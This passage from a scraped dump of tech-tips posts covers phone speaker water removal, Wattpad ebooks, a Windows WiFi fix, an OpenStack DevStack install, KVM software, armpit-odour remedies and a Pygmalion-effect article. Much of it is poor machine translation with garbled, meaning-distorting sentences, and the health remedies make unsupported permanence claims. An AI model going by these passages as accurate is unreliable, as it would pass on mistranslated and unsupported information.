into the water, the speaker can still be cracked, creating an uncomfortable crm for the user. If this is the case, apply the following trick to get water out of the speakerphone.\n First, download the Speaker Cleaner app at https://bit.ly/speaker-cleaner, compatible with Android devices. In case of using iPhone, iPad, users only need to install the application https://bit.ly/sonic-v-ip.\u0026nbsp;\n Then, open the app and move the switch to the Speaker section, increase the volume to the maximum and point the speaker down. Then, users just need to press Start Cleaning, the application will emit a special sound range to push water out.\nNext, move the switch to the Ear speaker section and repeat the procedure above, making sure the headset is facing down. In a few minutes, users will start noticing the difference in sound quality.\nIn case the above two solutions do not fix the problem, go to Mode 2 and repeat the operation. Of course, users can actively select the audio frequency to get water out of the phone's speaker faster.\nIn particular, in case the phone falls into the water and can not power, quickly dry the device (do not use compressed air spray to blow water), remove the SIM and memory card, then insert the phone into The rice bucket takes about 24 hours to allow the moisture to drain.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWappZ6wrHnPq6acnaOotq%2BzjLCfnqZdqbWmec%2BhpqedXai9pq3KnqlmoaNitq951pqrnqo%3D\n","link":"/post/instructions-for-quick-processing-when-the-phone-speaker-is-in-water/","section":"post","tags":null,"title":"Instructions for quick processing when the phone speaker is in water"},{"body":"Wattpad is a huge library of books with lots of unique creative content and many books that you can't find in libraries. In the following article, TipsMake.com guides you how to create Ebooks from Wattpad to read and store quickly and conveniently.\n  To download books on Wattpad, we need the Caliber tool and the FanFicFare plugin . Please follow the instructions below.\nStep 1: Download the Caliber app at https://calibre-ebook.com/download_windows.\n  Step 2: Open Caliber and click on Preferences .\n  Step 3: Find and click Plugins .\n  Next, click on Get new plugins .\n  Step 4: Go to the FanFicFare plugin (1) =\u0026gt; Install (2) .\n  Then, click Yes to continue the installation.\n  Step 5: Click Restart caliber now to restart the application.\n  Step 6: Open Caliber and click the More icon (1) =\u0026gt; FanFicFare (2) =\u0026gt; Download From URLs (3) .\n  Step 7: Open the story you want to find in Wattpad in the browser and highlight the link of the story (1) . Then right click and select Copy (2) .\n  Step 8: Go back to Caliber and paste the story link to create the ebook into Story URLs, one per line: (1) . Next, you choose the format for Ebook is Epub, Mobi, html, txt in Output Format (2) and finally click OK (3) to download.\n  You will then see Jobs: 1 at the bottom of the rotating software, which means your story is downloading. Please wait for a few minutes.\n  Step 9: After the notice as shown below is that your story has finished downloading. Click Yes to add the story to the library.\n  Step 10: After downloading, click on the story in the library to read.\n  And then Caliber's reading interface will display as shown below and let's enjoy the story Offline without the Internet anymore.\n  With the tips in the article, readers can download the desired stories on Wattpad to read and enjoy anytime, anywhere. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnCq5yarJVisqO7zqSqZp6ipLpuw8Ctq6mZlA%3D%3D\n","link":"/post/instructions-on-how-to-create-ebooks-from-wattpad/","section":"post","tags":null,"title":"Instructions on how to create Ebooks from Wattpad"},{"body":"New error . The situation is that after I boot up the computer to work as usual, I encountered the error that the WiFi network icon on the Laptop disappeared for no reason, even though I was still using it. normal. And of course the internet was also lost.\nHaving to find the Fix again, after a while of struggling, I finally found the way to fix this annoying error. And here is the process of fixing the lost Wifi icon under the Taskbar on the Windows 10 operating system that I have successfully done.\nI will guide the way I corrected, do not know if there are any redundant steps or not but I just write in the order what I did, if you are encountering this error, can try to apply it. .\nBefore starting the article, you need to check for yourself if you are getting the same error as your case, or simply your laptop has not activated WiFi. By:\n+ Step 1:\u0026nbsp; Open the Run dialog box \u0026nbsp;(Windows + R) =\u0026gt; then enter the command ncpa.cpl =\u0026gt; and press Enter to open the Network Connections dialog box.\n  + Step 2: In the dialog box Network Connections you notice if the WiFi network icon is lit as shown? If it is dark gray, then double click to activate the WiFi network first.\nOr right click on that icon =\u0026gt; and select Enable also.\n  Okay, if you have WiFi enabled then OK, now go to the main content of this article!\nI. How to fix missing WiFi icon on Windows 10 #first. Check if WiFi icon is disabled or not\u0026nbsp; + Step 1: Click the Start button =\u0026gt; select Settings (or you can quickly use the Windows + I key combination). Next, click System as shown below.\n  + Step 2: Next, click on the Notifications \u0026amp; actions feature =\u0026gt; click on Add or remove quick actions as shown below:\n  Here you can enable or disable the feature according to your needs. Please check if the Wifi icon is activated or not. If it's OFF, please turn it ON.\n  #2. Using WiFi fix feature on Win 10 Like previous versions of Windows, on Windows 10 MS also integrates the feature to fix Wifi network errors when you have problems.\nIn addition, on this version of Windows 10, Microsoft also integrates a lot of tools in the Updates \u0026amp; Security section (for\u0026nbsp; Win 10 Version 1703 \u0026nbsp;and above) so you can fix common small errors in the process of using the operating system. onions.\nPerform:\n+ Step 1: Go to Settings =\u0026gt; select Network \u0026amp; Internet. In the Status section, click on the line Show available networks to display the Wifi network.\n  Or you can go to Troubleshoot on Windows 10 by pressing the Windows + I key combination on the keyboard to open Windows Settings.\nThen, choose Update \u0026amp; Security =\u0026gt; select the tab Troubleshoot =\u0026gt; click on Internet Connections =\u0026gt; and select Run the Troubleshoot.\n  + Step 2: As my fault, when clicking on the line Show available networks it does not appear any Wifi network, only the icon of airplane mode and Mobile Hostpot ( wifi broadcast feature ) only.\nNow click on Troubleshoot and wait for a while for the tool to fix the error automatically. If, after running this tool, it still fails, you will continue to the next steps.\n# 3. Re-enable the Event Log feature I do not know what is related to this, but in the process of fixing the error I turned it back on.\nPerform:\nOpen the Run dialog box (Windows + R) =\u0026gt; enter the command services.msc =\u0026gt; press Enter to execute.\nA window appears, go to Windows Event Log =\u0026gt; double click on it =\u0026gt; at the line Startup type you choose is Manual =\u0026gt; then click Start to run.\n  # 4. Reload Wifi driver for Laptop + Step 1: Right-click This PC =\u0026gt; select Manage =\u0026gt; select Device Manager. Then, you do the following steps:\n(1) Select Device Manager. (2) This section is the entire\u0026nbsp; driver on your computer \u0026nbsp;, go to the Network adapters line. (3) Navigate to the Wireless line (wifi network). (4) Right-click on it and select Uninstall device to remove this driver.   Next, right-click on the line Network adapters and select Scan for hardware changes so that the computer will automatically reinstall the Wireless Driver.\n  To continue, use the following command line.\nPerform:\nRun cmd as administrator, enter the following command and press Enter to execute:\nreg delete HKCRCLSID {988248f3-a1ad-49bf-9170-676cbbc36ba3} / va / f\n  Continue typing the following command and press Enter:\nnetcfg -v -u dni_dne\n  # 5. Repeat Step 2 above If successful, after clicking Show available networks, it will appear a list of Wifi networks similar to the image below. Try connecting to your home Wi-Fi network to see if it's OK.\n  Okey, successfully connected to the network!\nAt this time, the Wifi icon still does not appear on the Taskbar, but if the connection is successful, you can still use the internet as usual.\n  =\u0026gt; To show the Wifi network icon on the Taskbar, please Restart (restart the computer) to apply the change.\nII. Conclude Yes, so I have detailed instructions for you how to fix the loss of wifi network icon on Win 10. I have applied this method and have successfully fixed it 100%, the network icon has also reappeared on the Taskbar.\nHope the article will be useful to you, wish you success!\nhow to fix wifi ncG1vNJzZmismaXArq3KnmWcp51kubC%2F02auop6ZYraku81mpqdlp567pbvWrGRqaF2Wu6V5x6iuZqyfYrOqxIysrJyblajAp8HLpbBmaWBl\n","link":"/post/lost-wifi-icon-on-windows-10-and-how-to-fix-successfully-100/","section":"post","tags":null,"title":"Lost Wifi icon on Windows 10 and how to fix successfully 100%"},{"body":"The hot weather of summer makes us sweat more. This makes our bodies 'smell', especially in the underarm area. Some people have more sweating than others, so the smell will be more unpleasant. Although armpit odor does not cause painful feelings for the sufferer, it has a great influence on the spirit, causing feelings of inferiority and shame. One of the most common ways we use today to reduce odors throughout the day is to use a deodorant roller. However, it is not a long-term solution. If you want to permanently reduce armpit odor, here are some home remedies you can try:\n Apple cider vinegar\nApple cider vinegar has strong antimicrobial properties, helping to destroy the odor caused by bacteria in the armpits. To 'neutralize' the armpit environment, you can apply apple cider vinegar regularly in this area. You can do that by dipping a makeup remover or cotton in apple cider vinegar, applied directly to your armpits. Do this every morning after showering and before bedtime will bring you unexpected results.\nLavender essential oil\nLavender essential oil is known for its pleasant aroma, which can easily remove underarm odor. In addition, the antibacterial properties of essential oils can kill bacteria in the armpit area. Lavender oil has many other benefits in treating skin conditions. To use, you need to mix 4-5 drops of lavender oil in a glass of water and pour the mixture into a spray bottle. Spray this mixture on your armpits twice a day to permanently reduce odor.\nBaking Soda\nUsing Baking Soda can help keep your underarms dry and prevent excessive sweating. In addition, it has anti-bacterial properties that can help eliminate odor caused by bacteria in the armpit. All you need to do is mix 1 tbsp of baking soda and 1 tbsp of lemon juice. Apply the mixture on your underarms and wait about 3 minutes. After a clean bath, you will achieve the desired results./.\nncG1vNJzZmismaXArq3KnmWcp51ku6LA1KuYpWWimrqmsMieqmaglaG9brPErWSroZRivKd5wKukqaGkYrylu9E%3D\n","link":"/post/natural-remedies-help-get-rid-of-armpit-odor/","section":"post","tags":null,"title":"Natural remedies help get rid of armpit odor"},{"body":"About the author: The article has been translated from research by Professor J. Sterling Livingston who has been teaching at Harvard Business School in the period of 1941 - 1971. He also established Sterling Academy - a supply company. Management consulting services focus on training and development programs for management level - in 1967. Currently, he is building Sterling center towards content management leadership Application in Key Biscayne, Florida state.\nMost parents realize that teachers' expectations for each child become \"self-fulfilling prophecies\" : If a teacher believes a student it is slow to understand that child, by default, will believe it and gradually acquire knowledge slowly. Conversely, another lucky student who impresses the teacher with the ability to receive good lessons will be expected better and truly, will later shine. This finding has been confirmed many times and because of such supports, it is no longer debated.\n\"The prophecies come true\" , it turns out, is also common in offices like in classrooms. If a manager is convinced that his team members belong to the top, they will definitely work more effectively than the group whose managers do not trust each other's ability. people in the team - even if the potential of both groups is the same.\nArticles with the same topic:\nFOMO Syndrome: The more people use Facebook, the more afraid they are to be abandoned 5 cognitive biases prevent you from making the right decision 8 \"psychological games\" employers apply to assess the competency of candidates in the interview J. Sterling Livingston has called this effect after a mysterious Greek sculptor named Pygmalion - king of Cyprus, who is very talented at sculpting, who loves to love a statue carved by herself . Before that \"love\", Aphrodite, the goddess of love, blew the soul to the living statue so that the two became husband and wife. In addition, Livingston used this name to pay homage to George Bernard Shaw, who wrote the Pygmalion drama and proposed an idea that the way one treats others, though good or bad can create certain conversions. In his article, he also noted that it is extremely difficult to build positive expectations, at the same time suggesting some suggestions for managers: Focusing special attention especially in the first year of an employee's job because that is when expectations are established, ensuring new employees are assigned to manage by senior supervisors (Supervisors). experiment and set high expectations for yourself (for that employee).\nIn the play of the same name, the language professor character Henry Higgins asserts that he can train, change the dress and voice to \"turn\" the country girl of Eliza into a luxurious lady. As a result, Eliza really becomes a lady, but according to her, the key is how she is treated and expected, not by the clothes, words or gestures she learned from the teacher. Professor\n  You see, in fact, except for things that everyone can recognize (how to dress, polite gestures when saying .), the difference between a lady and a girl holding flowers is not lies in the way she behaves but is in the way she is treated. For Professor Huggins, I was always a girl holding flowers because he always treated me as if I were a flower-holding girl and always did. But I know I will become a lady because you always treat me as if I were a lady and forever.\nSome managers always treat their subordinates in a way that can produce the best results. However, most are like Higgins teachers, which means treating employees in a way that yields less than their capacity can be achieved, though not intentionally. Such treatment is affected by what each manager expects for his subordinates and is not easy to recognize. If expectations are high, productivity is likely to be impressive. If expectations are low, productivity will be very poor, as if this is a rule that could make an employee's performance rise or fall to meet manager expectations.\nThe strong influence of expectations for one person on another's behavior has been recognized earlier by many physicists and behavioral scientists and more recently by teachers. However, up to now, the importance of managerial expectations for the performance of individuals and groups has not yet been comprehensively understood. I have cited material evidence for this phenomenon in a series of case studies that were prepared about 10 years ago at some large businesses. These cases and other available evidence from scientific studies have now also revealed:\nWhat managers expect for their subordinates and how they are treated will largely determine their effectiveness and path of career development. A typical feature of super super managers is the ability to create high-performance expectations that subordinates can achieve. Inefficient managers cannot develop similar expectations and results, so is the productivity of employees following. In any case, subordinates seem to do what they believe they are expected to accomplish. Impact on productivity   One of the most comprehensive illustrative examples of the impact of management-level expectations on productivity is the test conducted in 1961 by Alfred Oberlander - Rockaway regional director of Metropolitan Life Insurance Company. . He observed that excellent insurance agents grow faster than agents that operate at medium or poor levels and that new insurance agents of excellent agency groups also perform better than when be linked to poor or average groups, regardless of the sales capacity of each group. Therefore, he decided to gather excellent agents into a unit to promote efficiency and create a more challenging environment for new salespeople.\nOberlander appointed 6 excellent team agents (group 1) working with his best manager, 6 average production staff working with an average (competent) manager (group 2) and the remaining low-productivity employees will work under the supervision of the most incompetent manager (group 3). After that, he also set a goal for group 1 to achieve two-thirds of the total products that all agents won in the previous year. After the trial period, he described the results as follows:\nAs soon as this arrangement is decided, employees begin to consider group 1 as a group of \"high-quality employees\" because of their teamwork and unity. Group 1's production effort over the first 12 weeks has far surpassed the expected optimism expectation . proving that people with good abilities are motivated to achieve far higher results than Their true ability, while the negative expectations for the group of employees with poor production capacity will make them unable to focus on the task.\nThanks to that achievement, the overall productivity of employees in group 1 has improved by about 40%.\nAlthough the productivity of \"high quality employees\" has been greatly improved, it should also be emphasized that the productivity of those in the lowest unit (group 3) - \"those who are not considered any What opportunities to achieve the highest results \"- actually reduce and fatigue tends to spread. From here, the achievement of the excellent team has met the expectations of the managers while the results of the weak group, although also reflecting the expectations of the superiors, have fallen miserably.\nPredictive words come true However, the group of average employees (group 2) shows an \"anomaly\". Although the regional director only expected an average result for this group, their productivity increased significantly. That's because the manager in charge of oversight does not believe that she is inferior to the excellent team manager or that the agents of group 1 are more capable than the members of the group. her group. She always emphasized in discussions with her subordinates that \"each of our team has greater potential than the others in group 1 and you just haven't had more years of experience than them in selling. insurance only \". At the same time, she also encourages the team members to accept the challenge to overcome the results better than group 1. Thus, each year, this group increases productivity with an increase (in percentage) higher than the group. best, although in actual terms it is not equal.\nWhat is particularly interesting here is that the self-awareness of the average group's managers does not allow her to accept that others treat her as a manager with \"average ability \", like the image of Eliza in the play, always considers herself a lady instead of following everyone's opinion that she is just a girl holding flowers and accepting that they treat her. so. This manager transformed her own feelings about the effectiveness of her subordinates, creating a common expectation of high performance and stimulating their productivity.\n  The impact of one's expectations on the behavior of another person does not imply this is a discovery in business. More than a century ago, Albert Moll concluded from his simple experiment that subjects would behave in a way that they believed they were expected and recently, it had become a collection topic. attracted the attention of the scientific community. Such as:\nIn a series of scientific experiments, Robert Rosenthal of Harvard University proved that the \"teacher\" expectation of a student's intellectual capacity can create a prophecy that becomes a reality in religion. sex.\nAnother test conducted in the Headstart program took place in the summer with the participation of 60 kindergarten students comparing the learning performance of students under the instruction of teachers who thought they would receive stay awake and teachers believe their students have excellent intellectual ability and ability to learn. As a result, the students of the second group absorb faster than the first-graders.\nMoreover, many experts have long recognized that the expectations of a physician or psychiatrist can have a great influence on the mental or physical health of patients. What happens in the minds of patients and healers, especially when they have appropriate expectations will determine the outcome of that treatment. For example, the destruction if doctors make negative predictions has also been considered. Again, it is well known that the effectiveness of a new drug or new treatment can be strongly influenced by doctors' expectations. In medicine there is a term used to call this treatment called a placebo effect , otherwise known as a placebo .\nPattern of failure When managing salespeople like \"superstars\" is like the \"high-quality\" employees at Rockaway's office, they will \"live on that image\" and try to do it. What they know that outstanding salespeople are always expected.\nUnsuccessful salespeople face huge difficulties in maintaining self-awareness of self-image and self-esteem. In response to low expectations, they strive to prevent any further destruction of their \"ego\" by avoiding situations that could lead to greater failure. Either reduce sales or avoid having to \"sell\" if they are likely to be rejected by customers or both. Low expectations and ruined \"egos\" can cause them to behave in a way that increases their ability to fail and thus meet managers' expectations of \"productivity reduction.\"\nThe power of expectations   Managers cannot prevent the emergence of a series of frustrating events that occur due to low expectations by hiding their emotions in front of employees. If the manager believes that his subordinates are inefficient, it is almost impossible for them to wear a \"high-expectations mask\" because the message is often connected to action (even partially). intentional and unaware.\nIndeed, managers often convey the most messages when they believe they are delivering the least. For example, when they say nothing - cold and unwilling to talk - it is often a sign that they are not happy with the staff or believe that he or she no longer hopes to improve working capacity. . This \"silent\" treatment, sometimes, connecting with negative emotions is more effective than scolding. What seems to be essential in conveying expectations is not what the bosses say, on the contrary, it is more natural about how they behave. Such innocuous and indifferent treatment, most will convey low expectations and lead to low productivity.\nCommon illusions Managers convey lower expectations for their subordinates more effectively than conveying their high expectations, although most believe that habit will create reverse effects. It's really hard for them to clearly see when they are conveying negative emotions. Illustration:\nRegional director Rockaway strongly denies that he has conveyed low expectations for the poorest group agents (group 3) - whom he believes do not have any chance to return. into good employees. However, this message, obviously, agents have understood.\nA typical consequence is that agents of Group 3 will quit their jobs. When the manager told the staff that he felt regretful when she left and received a response: \"No, you are not, you are feeling happy.\" Although, before that, he said he did not think about her but in fact, he conveyed low expectations unintentionally. And then, the staff confirmed that his expression was no different from a job offer.\nNegative emotions, on the contrary, often do not transmit clearly enough. Another insurance agent director copied the organizational change model that was applied at Rockaway regional office, the group of salespeople whom she appreciated with outstanding managers who Average sales with average management . However, good results are not derived from this change.\nCurious, Rockaway regional director conducted an investigation and found that the manager responsible for the most productive unit did not realize that he was considering himself the best. In fact, he and his team members suspect that the director really believes there are differences in their abilities. The boss is a cold, casual and indifferent woman who always treats employees in a very tedious way. Because high expectations are not conveyed to them, they cannot understand why changing the organizational structure and not realizing any importance of this process. Obviously, the way managers deal with employees - not how they organize people - is the key to creating high expectations and productivity.\n(Continue)\n(In Part 2 , readers will learn more about the applications of pygmalion effects in governance, including the superiority and importance of the first years of working at the company, the bosses can create Great impact and methods to improve productivity).\nncG1vNJzZmismaXArq3KnmWcp51kvbqzzJqjoqeeYrKnssScq2aZnpl6orzPpaCcmaSevK95yKdkppmelrSmucSnq2aZk6m2t7XTopysZZGperW0xGacp6yVp72ztdKeZKmZoql6cg%3D%3D\n","link":"/post/pygmalion-effect-and-application-in-management-activities-at-the-enterprise-part-1/","section":"post","tags":null,"title":"Pygmalion effect and application in management activities at the enterprise (part 1)"},{"body":"Today, it is not unusual for many of us to own and use both desktop and laptop computers at the same time or use a variety of computers to cater to our specific needs.The problem is that when you try to operate multiple computers at a time, each device will have its own screen, private keyboard and mouse or touchpad separately, if you have to use all the separate peripherals for each computer is really a headache.To make things easier, you can buy a hardware device called a KVM converter (short for Keyboard (K-Keybroad), V- Video, and Mouse (M - Mouse) ).This device allows you to operate a keyboard, mouse and screen on a variety of computers by simply pressing a button to quickly switch between devices.\nHow to use 2 screens on a computer However, using KVM Switch is not only expensive, cumbersome, but also requires pressing the button manually whenever you want to switch the monitor screen.Another type of KVM conversion is also very useful that is completely software based.This means that you will not need to use additional hardware and the conversion will be done automatically via a utility installed on the system.The KVM converter software suite works through the local network, so all the computers you want to control will need to be connected to each other via LAN.One drawback is that the KVM converter software does not have conversion options and only works with keyboard and mouse only.\n  Just install this software on every computer you use, then configure the keyboard and mouse that you want to use on the device.After completing the installation, you can move the mouse pointer seamlessly between computers by moving it away from the edge of each screen.Here are 4 free KVM converters that you can use to share your keyboard and mouse set for different computers.\nShareMouse ShareMouse is an application that allows you to share your mouse and keyboard with multiple computers on the local network.The software is designed to work similarly to a physical KVM converter.ShareMouse has appeared for several years, there are paid versions but also free version but still ensure full support of the most basic features.More advanced features such as lock, screen saver, remote shutdown, drag and drop, prevent conversion, password protection and use on more than two computers will only be available on paid versions. .\nAnother plus of ShareMouse is that you will have the option of using a full installer or a mobile version designed for USB flash drives.This installer will take precedence if you enable UAC because ShareMouse can be installed as a service to help resolve usage rights issues.If you use the mobile version and UAC is turned on, make sure to run the Sharemouse.exe file as an administrator.\n  After being installed or running on two computers, Sharemouse will automatically identify both computers and connect them together.If no connections are automatically set up, navigate to Settings\u0026gt; Network and click the Find free port button for both TCP and UDP , then try connecting again. Professionals can use the Clients window to establish a manual connection. Once the computers are connected, go to Monitor Manager in the system tray menu.Here you can arrange the screen by dragging the available screens to change their order, and move the screen to the position to suit your needs.They can be placed anywhere, above, below or on either side.\n  Most features will be disabled in the free ShareMouse version but there are a few options still active and you can change it.For example, you can synchronize the clipboard using copy + paste or Ctrl + V operations though the publisher says this is a paid feature.In addition, you can also hit Escape XX times to cancel the remote control, switch between hotkeys, dim the screen, as well as adjust scroll speed and scroll direction.\nYou can use ShareMouse for free for as long as you like.If you turn on one of the paid features (the settings are labeled [Demo] or connect more than two computers, the program will switch to Demo mode. This mode will allow you to use the calculator. The function pays within 30 minutes before ShareMouse displays a message and immediately disconnects, after which you will have to restart the program on all connected computers to continue using. Therefore, do not use any demo features if you do not want to take time to reboot.\nDownload ShareMouse\nInput Director The Input Director has been introduced since 2007 and is completely free as well as not restricted to personal use.It is also compatible with many different Windows versions, from Windows XP to Windows 10. In this respect, the Input Director seems to be more complicated to set up and use than other software in the article. write, but in fact, really not too hard.In addition, there are a number of options for advanced users, but most people may not need to use those settings.\nFirst, install Input Director on the secondary computer and the main machine, but you will have to configure the secondary machine first.When the software interface opens, click Enable as Slave and go to the Slave Configuration tab. For ease of use, you can enable the Allow any computer to take control option to run settings or click Add and proceed to enter the main computer's hostname in a way handmade. The hostname will be in the Main tab on the main computer.\n  Now, move to the main computer (the computer with the mouse and keyboard will be used) and press the Enable as Master button in the Input Director window. Access the Master Configuration tab, click Add and enter the hostname of the secondary computer (hostname is located on the Main tab of the secondary computer), then click OK .Next, use the middle pane of the window to drag the icons and the position of the second screen related to the main screen of the system, top, bottom, left and right!\n  Now the mouse can move between screens in the selected direction.There is a slight ripple effect around the cursor as it moves between screens.Drag and drop operations cannot be used, but the software supports clipboard sharing so you can copy and paste files and folders.Also, AES encryption can be used to enhance security.To perform this setup, you will have to use the same encryption and password settings on the secondary computer and the main computer.\nThe Input Director also has some useful features, including multi-screen support, custom macros and key binding, conversion options, desktop info windows, screen saver / protection, and lock synchronize, install mouse and system keyboard, and finally mirror input.In addition, the Input Director also acts as a service so UAC will not cause any problems.\nDownload the Input Director\nStardock Multiplicity Multiplicity is famous as a software that is easy to install and use.It also has some interesting features like audio sharing, shared unlocking and full KVM mode that allows controlling multiple keyboard, mouse and screen devices on the same PC.However, Multiplicity does not have a free version, only a 30-day trial version.\nIn the past, Multiplicity has provided a free version (limited to a number of features for users) in 2012. We have found that version (v2.01) can be used for free on a main PC and a secondary PC.KVM mode and audio conversion have not been completed, but we have tested the latest version 2.01 on Windows 10 and the software works relatively well.\n  After installation, the welcome screen will be displayed, the software will ask you if the current PC is the main or secondary computer.The PC is the PC connected to the mouse and the keyboard, which is responsible for controlling both machines.If you choose this as a secondary PC, a window will appear with the computer name and a passcode to add to the main PC.If you choose this as the main PC, another window will open, where you can search and add another computer.\n  If your second computer (secondary computer) has been opened and is waiting for connection, it will appear in the list of computers to select.Just click on the hostname, click Add , then enter the password and click Save .The second computer will be displayed on a multi-square background.Here, you can drag it to any location, above or below the main computer when moving the mouse from the desktop.\n  There will also be a number of configuration options available, including hotkey conversions, status window display, or screen darkening when inactive . Switching between screens is based on custom windows Selecting the mouse move will also provide some useful settings such as turning off the switch at the corners of the screen, turning off the switch when the full screen app is running .\nDownload Stardock Multiplicity\nMouse without Borders Mouse without Borders is a software developed by Microsoft Garage.This is a division of Microsoft that allows employees to create and work on private projects completely unrelated to their official work.Specifically, Mouse without Borders was created by Truong Do, a Vietnamese engineer working for Mycrosoft.This software is completely free and can allow up to four computers to be controlled from a mouse and keyboard.It is fully compatible with Windows versions from XP to Windows 10.\nThe easy way to set up everything in Mouse without Borders is through the wizard.First, you must install Mouse without Borders on the secondary computer and click No when asked if the software is installed on another computer. After that, a window with the computer name and security code will be opened. Just leave this window there and you'll start installing the program on the main computer with your mouse and keyboard. Click Yes and enter the computer name along with the security code you see appearing on the secondary computer. Then click Link to connect these computers together.\n  Specific computers can be turned on or off using the check boxes in the main window of the program.Drag the computers left or right so you can move the mouse away from the left or right edge of the desktop.Checking the Two Row entry will see that up to four computers will form a grid consisting of four squares, containing two rows, each of which will have two computers.For example, the computer on the bottom left of the grid will be able to move the mouse up or to the right on other desktops.\n  In addition, Mouse Without Borders has support for drag, drop and clipboard functions, but both have certain limitations.You cannot transfer folders, so a folder will have to be stored before sending.In addition, only one file can be transferred at a time.It will be sent directly to a default folder named MouseWithoutBorders on the desktop, no other file transfer location.\nThere are a number of options to configure even though most users will not need it.They include the ability to edit shortcuts, block screen corners, block screen savers, share clipboard and disable Easy Mouse.If the program has trouble finding other computers on the network, or accessing the IP Mappings tab, there will be useful information.\nNote: If you cannot install Mouse Without Borders, be sure to turn on the Windows firewall, even if you have a third-party firewall installed.\nDownload Mouse Without Borders\nThe above are 4 software that allow you to share peripherals between many different computers.Hope the information in the post is useful to you!\nSee more:\nHow to connect the network between two laptops using a network cable Instructions for connecting the projector to a computer, laptop How to connect laptop to TV? How to fix some errors connecting TV to laptop via HDMI port ncG1vNJzZmismaXArq3KnmWcp51kwKmt0Z5kpqelqLJurc2dZKSdqZe8or7DZp2oql2iwq3AyKmjnmWTpLqxwdOeqaw%3D\n","link":"/post/share-mouse-and-keyboard-for-multiple-computers/","section":"post","tags":null,"title":"Share mouse and keyboard for multiple computers"},{"body":"Openstack is a free and open source IaaS cloud platform that handles networking, storage, and cloud computing resources. It comes with an intuitive dashboard that allows system administrators to provision and monitor these resources.\nYou can seamlessly install OpenStack locally on your Ubuntu 18.04 instance for learning and testing purposes using Devstack.\nDevstack is a set of extensible scripts that facilitate OpenStack deployments. In this tutorial you will learn how to deploy OpenStack on Ubuntu 18.04 using devstack.\nMinimum requirements Before you get started, make sure you have the following minimum prerequisites:\nFresh Ubuntu 18.04 installation User with sudo . privileges RAM 4GB 2 vCPU Hard drive capacity 10GB Internet connection With the minimum requirements met, you can now continue with the steps below.\nHow to Install OpenStack on Ubuntu 18.04 Using DevStack Step 1: Update and upgrade the system To get started, log in to your Ubuntu 18.04 system using SSH protocol, and update and upgrade the system repositories with the following command:\napt update -y \u0026amp;\u0026amp; apt upgrade -y Sample output:\n System updates and upgrades\nNext, reboot the system with the command:\nsudo reboot Or:\ninit 6 Step 2: Create a Stack user and assign sudo . privileges Best practice requires that devstack be run with a regular user account with sudo privileges.\nTherefore, the article will add a new user called \"stack\" and specify sudo privileges.\nTo create a stack user, execute the command:\nsudo adduser -s /bin/bash -d /opt/stack -m stack Next, run the command below to assign sudo privileges to the stack user:\necho \"stack ALL=(ALL) NOPASSWD: ALL\" | sudo tee /etc/sudoers.d/stack Sample output:\n Create a Stack user and assign sudo quyền privileges\nStep 3: Install git and download DevStack Once you have successfully created the stack user and specified sudo privileges, switch to this user using the command.\nsu - stack In most Ubuntu 18.04 systems, git comes pre-installed. If by chance git is missing, install it by running the following command:\nsudo apt install git -y Sample output:\n Install git\nUsing git, clone (clone) Devstack's git repository as shown.\ngit clone https://git.openstack.org/openstack-dev/devstack Sample output:\n Download DevStack\nStep 4: Create Devstack configuration file In this step, navigate to the devstack directory:\ncd devstack Then create the local.conf configuration file :\nvim local.conf Paste the following content:\n[[local|localrc]] # Password for KeyStone, Database, RabbitMQ and Service ADMIN_PASSWORD=StrongAdminSecret DATABASE_PASSWORD=$ADMIN_PASSWORD RABBIT_PASSWORD=$ADMIN_PASSWORD SERVICE_PASSWORD=$ADMIN_PASSWORD # Host IP - get your Server/VM IP address from ip addr command HOST_IP=10.208.0.10 Save and exit the text editor.\nNote :\n1. ADMIN_PASSWORD is the password that you will use to login to the OpenStack login page. The default username is admin .\n2. HOST_IP is the system IP address obtained by running the ifconfig or ip addr commands .\nStep 5: Install OpenStack with Devstack To start installing OpenStack on Ubuntu 18.04, run the script below found in the devstack folder.\n./stack.sh The following features will be installed:\nHorizon – OpenStack Dashboard Nova – Compute Service Glance – Image Service Neutron – Network Service Keystone – Identity Service Cinder – Block Storage Service Placement – ​​Placement API The deployment process takes about 10 to 15 minutes depending on your system speed and Internet connection. In the example case, it took about 12 minutes.\nAt the end you will see output similar to what the article has below.\n  This confirms that all is going well and that OpenStack can be continued to be accessed through a web browser.\nStep 6: Access OpenStack on a web browser To access OpenStack via a web browser, browse for your Ubuntu IP address as shown.\nhttps://server-ip/dashboard This directs you to a login page as shown below:\n  Enter your login information and press Sign In.\nYou should be able to see the Management panel as shown below.\n  Hope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddnru0wMClo2anoJq7tMDAnKJmp55iwqPBza2sZmloZYFuwdKipaBllJrDtMDAnKI%3D\n","link":"/post/steps-to-install-openstack-on-ubuntu-18-04-using-devstack/","section":"post","tags":null,"title":"Steps to install OpenStack on Ubuntu 18.04 using DevStack"},{"body":"Yesterday (July 3, 2019) Facebook encountered a problem that caused all photos on this social network to be unable to be displayed, instead the tags were assigned to the content displayed in the photo. that AI can identify. This has led Facebook to reveal how this social network's AI is performing to classify photos of all users.\nWhen this incident happened on Facebook, instead of seeing the pictures of a clothes of the online sales site, friends checked-in to travel in a famous place . you will see the words describe in detail the 'Image may contain' people are laughing, people are running, houses, beaches, mountains or simply a dog.\nThe text that describes it is what the computer sees from the photos users post on Facebook. This is similar to the images in the digital world of Neo characters in the sci-fi sci-fi film, which are essentially blue lines of code.\nIn addition, based on Facebook's face recognition technology (this technology has been put into use by the company since 2017), AI can also identify whose faces in the photo are.\nFacebook for AI to identify users' photos is not simply a classification but it also has other money-making purposes, that is advertising. Through photos that users share, Facebook can know the information that users do not disclose. For example, what kind of sport do you play, where do you travel, do you have pets .\nOnly from a small incident what is behind Facebook has been revealed and shows us that artificial intelligence has grown to the point of being able to accurately identify what's in a photo.\nContent censorship is the most dangerous job Facebook and this is the reason Things to know about Libra, Facebook's pre-coding ncG1vNJzZmismaXArq3KnmWcp51kwamxjKKlnKGUmru1edOhmK1llpa2rbHDZquoZZykrqV506GcZqGdlrSmedieqq2dopmuunnRnq2emZyasW60zrBkmqFdm66kscGopqRlopqupb%2BMrqqeql2euqKzxGabmqyR\n","link":"/post/the-incident-that-failed-to-load-the-image-yesterday-revealed-how-ai-facebook-reads-user-image-data/","section":"post","tags":null,"title":"The incident that failed to load the image yesterday revealed how AI Facebook reads user image data"},{"body":"Last night (August 9, 2018) the Galaxy Note 9 has just been officially launched and immediately the Russian blog named Hi Tech Mail Ru has opened the device 